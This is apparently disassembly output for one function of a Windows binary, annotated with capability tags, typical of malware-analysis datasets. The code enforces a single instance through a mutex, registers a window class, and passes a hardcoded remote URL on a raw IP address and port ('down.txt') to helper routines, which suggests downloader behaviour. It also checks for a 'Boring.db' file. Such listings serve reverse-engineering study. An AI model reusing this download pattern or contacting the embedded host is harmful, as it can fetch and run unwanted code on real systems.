Function at 0x408ce0
Capabilities:
Check if file exists
Check mutex on windows
Get common file path
Hide graphical window

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x459ce2
mov eax, dword fs:[0]
push eax
sub esp, 0x16c
mov eax, dword [0x46b00c]
xor eax, ebp
mov dword [ebp - 0x10], eax
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov edi, dword [ebp + 8]
push str.Mutex20210603
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateMutexA]
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0xb7
jne 0x408d47
push 1
push 0
push str.Zi_Long
call dword [sym.imp.USER32.dll_FindWindowA]
push eax
call dword [sym.imp.USER32.dll_ShowWindow]
jmp 0x409011
mov eax, dword [sym.imp.USER32.dll_DefDlgProcA]
push 0x70
push edi
mov dword [ebp - 0x158], 0x2808
mov dword [ebp - 0x154], eax
mov dword [ebp - 0x150], 0
mov dword [ebp - 0x14c], 0x1e
mov dword [ebp - 0x148], edi
call dword [sym.imp.USER32.dll_LoadIconA]
push 0x7f00
push 0
mov dword [ebp - 0x144], eax
call dword [sym.imp.USER32.dll_LoadCursorA]
mov dword [ebp - 0x140], eax
lea eax, [ebp - 0x158]
push eax
mov dword [ebp - 0x13c], 9
mov dword [ebp - 0x138], 0
mov dword [ebp - 0x134], str.Zi_Long
call dword [sym.imp.USER32.dll_RegisterClassA]
push 0x4048c0
call dword [sym.imp.KERNEL32.dll_SetUnhandledExceptionFilter]
push 0x104
lea eax, [ebp - 0x114]
push 0
push eax
call sub.VCRUNTIME140.dll_memset
add esp, 0xc
push 0x46bc88
push 0x104
call dword [sym.imp.KERNEL32.dll_GetCurrentDirectoryA]
push str.SysChd.dll
push 0x46bc88
push 0x4651a0
push 0x46b978
call fcn.004030b0
push 3
call fcn.00412610
add esp, 0x14
call fcn.00412540
mov dword [ebp - 0x118], eax
mov dword [ebp - 4], 0
lea ecx, [ebp - 0x130]
push 0
mov dword [ebp - 0x120], 0
mov dword [ebp - 0x11c], 0
push 0x464fb2
mov dword [ebp - 0x11c], 0xf
mov dword [ebp - 0x120], 0
mov byte [ebp - 0x130], 0
call fcn.00401b60
mov byte [ebp - 4], 1
lea ecx, [ebp - 0x170]
push 0x22
mov dword [ebp - 0x160], 0
mov dword [ebp - 0x15c], 0
push str.http:__121.204.247.135:88_down.txt
mov dword [ebp - 0x15c], 0xf
mov dword [ebp - 0x160], 0
mov byte [ebp - 0x170], 0
call fcn.00401b60
mov byte [ebp - 4], 2
push 5
push 5
push 0
sub esp, 8
mov esi, esp
mov dword [ebp - 0x174], esp
sub esp, 8
mov dword [ebp - 0x178], esi
mov dword [esi], 0
mov dword [esi + 4], 0
call fcn.00403030
mov dword [esi], eax
mov byte [ebp - 4], 5
lea eax, [ebp - 0x130]
push eax
lea eax, [ebp - 0x170]
push eax
mov byte [ebp - 4], 2
lea ecx, [ebp - 0x118]
call fcn.00402190
mov byte [ebp - 4], 1
mov eax, dword [ebp - 0x15c]
cmp eax, 0x10
jb 0x408f1e
inc eax
push eax
push dword [ebp - 0x170]
call fcn.00401df0
cmp dword [ebp - 0x120], 0
mov dword [ebp - 0x15c], 0xf
mov dword [ebp - 0x160], 0
mov byte [ebp - 0x170], 0
jbe 0x408fb4
cmp dword [ebp - 0x11c], 0x10
lea eax, [ebp - 0x130]
cmovae eax, dword [ebp - 0x130]
push eax
push 0x46bc88
lea eax, [ebp - 0x114]
push 0x4651a0
push eax
call fcn.004030b0
lea eax, [ebp - 0x114]
push eax
push 0x465910
call fcn.00410e60
mov esi, dword [sym.imp.SHLWAPI.dll_PathFileExistsA]
lea eax, [ebp - 0x114]
add esp, 0x18
push eax
call esi
test eax, eax
jne 0x408fb4
push str.d:Boring.db
call esi
test eax, eax
jne 0x408fb4
push eax
push 0x402fb0
push eax
push 0x76
push edi
call dword [sym.imp.USER32.dll_DialogBoxParamA]
cmp eax, 2
jne 0x408fbb
mov ecx, edi
call fcn.00408970
mov byte [ebp - 4], 0
mov eax, dword [ebp - 0x11c]
cmp eax, 0x10
jb 0x408fd7
inc eax
push eax
push dword [ebp - 0x130]
call fcn.00401df0
mov dword [ebp - 0x11c], 0xf
mov dword [ebp - 0x120], 0
mov byte [ebp - 0x130], 0
mov dword [ebp - 4], 0xffffffff
mov eax, dword [ebp - 0x118]
test eax, eax
je 0x40900c
push eax
call fcn.00412520
add esp, 4
call fcn.004125c0
xor eax, eax
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.0041150d
mov esp, ebp
pop ebp
ret 0x10